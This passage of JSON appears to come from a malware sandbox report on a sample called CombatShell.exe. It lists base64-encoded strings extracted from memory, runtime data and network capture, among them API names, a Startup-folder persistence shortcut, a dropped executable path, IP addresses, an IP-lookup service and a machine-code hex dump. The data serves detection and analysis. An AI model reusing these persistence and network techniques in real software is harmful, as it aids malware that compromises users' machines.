Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VmFsaWRhdGVSZWN0","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VmFyRmlsZUluZm8=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VmlydHVhbCBLZXk=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"VmlydHVhbFByb3RlY3Q=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VmlydHVhbFF1ZXJ5","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"dm0zZGdsNjQuZGxs","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"dm0zZGdsaGVscGVyNjQuZGxs","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Vk0zREdMSGVscGVyQ2xlYW51cA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Vk0zREdMSGVscGVyR2V0RGV2Q2FwTWF4Q291bnQ=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Vk0zREdMSGVscGVySW5pdA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Vk0zREdMSGVscGVyTG9n","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Vk0zREdMSGVscGVyU2V0TG9nTGV2ZWxz","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"dm52Z3BhbXBha3BhdGh6Z2h6bWh6a2h6","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"VlNfVkVSU0lPTl9JTkZP","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V2FpdEZvck11bHRpcGxlT2JqZWN0cw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V2FpdEZvclNpbmdsZU9iamVjdA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V2FpdEZvclNpbmdsZU9iamVjdEV4","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2FpdEZvclRocmVhZHBvb2xUaW1lckNhbGxiYWNrcw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2FpdE9uQWRkcmVzcw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V2FrZUFsbENvbmRpdGlvblZhcmlhYmxl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2FrZUJ5QWRkcmVzc0FsbA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V2FrZUJ5QWRkcmVzc1NpbmdsZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V2FrZUNvbmRpdGlvblZhcmlhYmxl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2Vha0RTQUFsbEZsYWdz","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2Vha0RTQVRoaXJkUGFydHlGbGFncw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2Vha0VDRFNBQWxsRmxhZ3M=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2Vha0VDRFNBQWxsU2hhMjU2QWxsb3c=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2Vha0VDRFNBVGhpcmRQYXJ0eUFmdGVyVGltZQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2Vha0VDRFNBVGhpcmRQYXJ0eUZsYWdz","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2Vha0VDRFNBVGhpcmRQYXJ0eU1pbkJpdExlbmd0aA==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2Vha0VDRFNBVGhpcmRQYXJ0eVNoYTI1NkFsbG93","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2Vha01ENUFsbEZsYWdz","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2Vha01ENUFsbFNoYTI1NkFsbG93","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2Vha01ENVRoaXJkUGFydHlBZnRlclRpbWU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2Vha01ENVRoaXJkUGFydHlGbGFncw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2Vha01ENVRoaXJkUGFydHlTaGEyNTZBbGxvdw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2Vha1JTQUFsbEZsYWdz","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2Vha1JzYVB1YktleVRpbWU=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2Vha1JTQVRoaXJkUGFydHlGbGFncw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2Vha1NIQTFBbGxGbGFncw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2Vha1NIQTFBbGxTaGEyNTZBbGxvdw==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2Vha1NIQTFUaGlyZFBhcnR5QWZ0ZXJUaW1l","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2Vha1NIQTFUaGlyZFBhcnR5RmxhZ3M=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V2Vha1NIQTFUaGlyZFBhcnR5U2hhMjU2QWxsb3c=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"d2dsQ3JlYXRlQ29udGV4dA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"d2dsRGVsZXRlQ29udGV4dA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"d2dsR2V0Q3VycmVudENvbnRleHQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"d2dsR2V0Q3VycmVudERD","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"d2dsR2V0UHJvY0FkZHJlc3M=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"d2dsTWFrZUN1cnJlbnQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"d2dsU2hhcmVMaXN0cw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V2lkZUNoYXJUb011bHRpQnl0ZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V3JpdGVDb25zb2xlVw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V3JpdGVGaWxl","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V3JpdGVGaWxlRXg=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"d3MyXzMyLmRsbA==","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"V1NBQ2xlYW51cA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V1NBRHVwbGljYXRlU29ja2V0Vw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V1NBR2V0TGFzdEVycm9y","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V1NBSW9jdGw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V1NBUmVjdg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V1NBUmVjdkZyb20=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V1NBU2VuZA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V1NBU2VuZE1zZw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V1NBU2VuZFRv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V1NBU29ja2V0Vw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"V1NBU3RhcnR1cA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"eXl5eWdnZ2dnZ2dnZ3V1dXV1dXV1dXV1dXV1dXVnZ2d1dXV1dXV1fX19fX19fX19fX19fX19fWdnfX19fX19fX16enp6enp6enp6enp6enp6Z2dnZ2d6enp6enp6ent7e3t7e3t7e3t7e3t7e3tnZ2dnZ2dne3t7e2dnZ2dnZ2dnZ3t7e3t7e3tYWFhYWFhYWFhYWFhYWFhYZ2dnZ2dnZ0xMTExMTExMTExMTExMTExnZ2dnZ2dnZ2dnZ2dnTExMZ2dnZ2dnZ0xMTExMTA==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"eXl5eXl5eXl5eXl5eXl5eWdnZ2d5eXl5eQ==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"eyJzdWNjZXNzIjp0cnVlLCJtZXNzYWdlIjoic3VjY2VzcyJ9","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"fDA8SFRgbHg=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null}],"interesting":[{"value":"ISEhISFnZ2dnZ2dnZ2dnZw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"ISctMzk/RUtRV11jaW91ew==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiIiIiIiIiJcXFxcXFxcXA==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVBUFBEQVRBJVxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXBcbWNyLmxua2si","type":"Ansi","source":"Process Commandline","process":"winlnk.exe","filename":"winlnk.exe","compromised":null,"detection_total":null,"total":null},{"value":"IiVBUFBEQVRBJVx3aW5sbmsuZXhlIiAiJTEi","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"JSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSUlJSVnZ2dnZ2dnZ2dnZ2dnZ1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXV1dXZ2dXV1d+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+fn5+Z2d+fn5+fn5+fn5+fn5+fn5nVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVFRUVGdnVGciIiIiIiIiIiIiImdnZ2dn","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"KHhCNilcR2FtZTo=","type":"Ansi","source":"Image Processing","process":null,"filename":"screen_1.png","compromised":null,"detection_total":null,"total":null},{"value":"KHopKHkpKHgpKHcpKHYpKHUpKHQpKHMpKHIpKHEpKHApKG8pKG4pKG0pKGwpKGspKGopKGkpKGgpKGcpKGYpKGUpKGQpKGMpKGIpKGEpMjAuMTkuMTguMTcuMTYuMTUuMTQuMTMuMTIuMTEuMTAuKDIwKSgxOSkoMTgpKDE3KSgxNikoMTUpKDE0KSgxMykoMTIpKDExKSgxMCkoOSkoOCkoNykoNikoNSkoNCkoMykoMikoMSk=","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"KFopKFkpKFgpKFcpKFYpKFUpKFQpKFMpKFIpKFEpKFApKE8pKE4pKE0pKEwpKEspKEopKEkpKEgpKEcpKEYpKEUpKEQpKEMpKEIpKEEpOSw4LDcsNiw1LDQsMywyLDEsMCwwLg==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"KSkpKSkpKSkpKSkpKSkpKWdnZ2dnZ2dnZw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"LXBzcyAtcyA0NDAgLXAgNjQ4IC1pcCA2NDg=","type":"Ansi","source":"Process Commandline","process":"WerFault.exe","filename":"WerFault.exe","compromised":null,"detection_total":null,"total":null},{"value":"MDVmOTVlZmUtN2Y3NS00OWM3LWE5OTQtNjBhNTVjYzA5NTcx","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"MDcyNjY1ZmItODk1My01YTg1LTkzMWQtZDA2YWVhYjNkMTA5","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"MWFmZjYwODktZTg2My00ZDM2LWJkZmQtMzU4MWYwNzQ0MGJl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"My44Ny45NS4xMA==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"MzAzMzZlZDQtZTMyNy00NDdjLTlkZTAtNTFiNjUyYzg2MTA4","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"MzI5ODBmMjYtYzhmNS01NzY3LTZiMjYtNjM1YjNmYTgzYzYx","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"M2JlMzE4MTItNTUyMy01MjM5LTVmYzYtNTM0ZjhlNTU4ZjQw","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"M2M0MzBiMGEtMzk3YS00ZTFkLTlhODMtOWMzODg0MDVjMDBj","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"M2M3NGFmYjktOGQ4Mi00NGUzLWI1MmMtMzY1ZGJmNDgzODJh","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"M2YzMDUyMmUtZDQ3YS00MDdjLTkwNjctMmU5MjhkMDBkNTRl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"NDk2YjNjMTktOWRjYS01MWE1LTE4N2MtNWM3NDY3ODVmZTRl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"NTA0NjY1YTItMzFmNy00YjJmLWJmMWItOTYzNTMxMmU4MDg4","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"NTFjNTEzOTctNDNjNC01Yzg2LTY0NWMtYWNiZDViMmUxMDM4","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"NTU1NjQ4ODNFQzI4NDg4RDZDMjQyMDQ4OEIwMTgxMzhGRDAwMDBDMDBGODU4QjAwMDAwMDhCMERBMDQ5QkMwMjg1Qzk3NDJERkZDOUU4QzU2QzA1MDA0ODgzRjgwMjc2Mzk0ODhCNDgwODQ4ODVDOTc0MDk0ODhCNTAxMDQ4RkZDQUVCNUQ0ODhCMTUwNjQ5QkMwMjMxQzk0ODM5MTBFQjNCNDg4RDBENTA0OUJDMDJFODAzRUEwMDAwODlDMUU4OEM2QzA1MDA0ODgzRjgwMjc3Qzc0ODhCMzVERjQ4QkMwMjQ4ODVGNjc0Mjg4QjBEMjQ0OUJDMDI4NUM5NzQyRUZGQzk=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"NTdhNmVkMWEtNzlmNy01MDExLWIyNDItNDc4NGU1NjIwY2Y3","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"NjQuMTI0LjEyLjE2Mg==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"NjczY2Y4MDAtMjA4YS01MzI3LTNmNGItMmJlNDRhNjY2Mjdh","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"NmNhNTJhOTAtNDJhMC01ODA4LWViYmYtYTE3OWMyYTM4ZjMz","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"NzAzZmNjMTMtYjY2Zi01ODY4LWRkZDktZTJkYjdmMzgxZmZi","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"N2MyOTcwOWQtM2MwMi00N2ZiLThhMzktZDgyODc1MjJmYWRi","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"ODEyN2Y2ZDQtNTlmOS00YWJmLTg5NTItM2UzYTAyMDczZDVm","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Ojo6Ojo6Ojo6Ojo6Ojo6OmdnZw==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"W1tbW1tbW1tbW1tbW1tbW2dnZ1tsbGxsbGxsbGxsbGxsbGxsZ2dnZ2dsVlZWVlZWVlZWVlZWVlZWVg==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"W11fXkFcQV1BXkFf","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"XFxcXFxcXFxcXA==","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"XERldmljZVxBZmRcTWlv","type":"Unicode","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"XERldmljZVxIYXJkZGlza1ZvbHVtZTNcV2luZG93c1xTeXN0ZW0zMlxjb25ob3N0LmV4ZQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"X19kZXJlZ2lzdGVyX2ZyYW1l","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"X19nZXRtYWluYXJncw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"X19yZWdpc3Rlcl9mcmFtZQ==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"X2xvY2FsdGltZTY0","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWN0aXZhdGVJblNoYXJlZEJyb2tlcg==","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWRkVmVjdG9yZWRFeGNlcHRpb25IYW5kbGVy","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"QWRqdXN0V2luZG93UmVjdEV4","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"YXBpLW1zLXdpbi1hcHBtb2RlbC1ydW50aW1lLWwxLTEtMg==","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YXBpLW1zLXdpbi1jb3JlLWZpYmVycy1sMS0xLTE=","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YXBpLW1zLXdpbi1jb3JlLWxvY2FsaXphdGlvbi1sMS0yLTE=","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YXBpLW1zLXdpbi1jb3JlLXN5bmNoLWwxLTItMA==","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YXBpLW1zLXdpbi1jb3JlLXN5bmNoLWwxLTItMC5kbGw=","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YXBpLW1zLXdpbi1jb3JlLXdpbnJ0LWVycm9yLWwxLTEtMC5kbGw=","type":"Unicode","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YXBpLmlwaWZ5Lm9yZw==","type":"Ansi","source":"PCAP Processing","process":null,"filename":"PCAP","compromised":null,"detection_total":null,"total":null},{"value":"QXBwUG9saWN5R2V0VGhyZWFkSW5pdGlhbGl6YXRpb25UeXBl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QXNzb2NRdWVyeVN0cmluZ1c=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"YjZmZDcxMGItZjc4My00YjFjLWFiOWMtYzY4MDk5ZGNjMGM3","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Yjc0OTU1M2ItZDk1MC01ZTAzLTYyODItMzE0NWE2MWIxMDAy","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YmM3MTU3N2YtNzZlOS01ODNhLWVjZDYtNjJkMDI1MGQ5MDBm","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QkNyeXB0R2VuUmFuZG9t","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"YmYzMDQ2NWItZTkzYy00NmZkLTljZGYtZjQxYzg5MDRhMDFm","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YzEzNzYzMzgtMDk4NC00OGI4LWI5MzMtOWM3ZDc3OWZkODRk","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YzdlMDllMmEtYzY2My01Mzk5LWFmNzktMmZjY2QzMjFkMTlh","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Y2E5NjdjNzUtMDRiZi00MGI1LTlhMTYtOThiNWY5MzMyYTky","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2FsbFdpbmRvd1Byb2NX","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsSW8=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q2FuY2VsSW9FeA==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q2VydERlbGV0ZUNlcnRpZmljYXRlRnJvbVN0b3Jl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2VydEVudW1DZXJ0aWZpY2F0ZXNJblN0b3Jl","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2VydEdldENlcnRpZmljYXRlQ2hhaW4=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2VydEdldENlcnRpZmljYXRlQ29udGV4dFByb3BlcnR5","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2VydEdldEVuaGFuY2VkS2V5VXNhZ2U=","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q2xpZW50VG9TY3JlZW4=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q2xpcEN1cnNvcg==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q2xvc2VDbGlwYm9hcmQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q2xvc2VIYW5kbGU=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Y2xvc2Vzb2NrZXQ=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q29DcmVhdGVHdWlk","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q29DcmVhdGVJbnN0YW5jZQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"CombatShell.exe","compromised":null,"detection_total":null,"total":null},{"value":"Q29DcmVhdGVJbnN0YW5jZUV4","type":"Ansi","source":"Runtime Data","process":"CombatShell.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"Q29HZXRDbGFzc09iamVjdA==","type":"Ansi","source":"Runtime 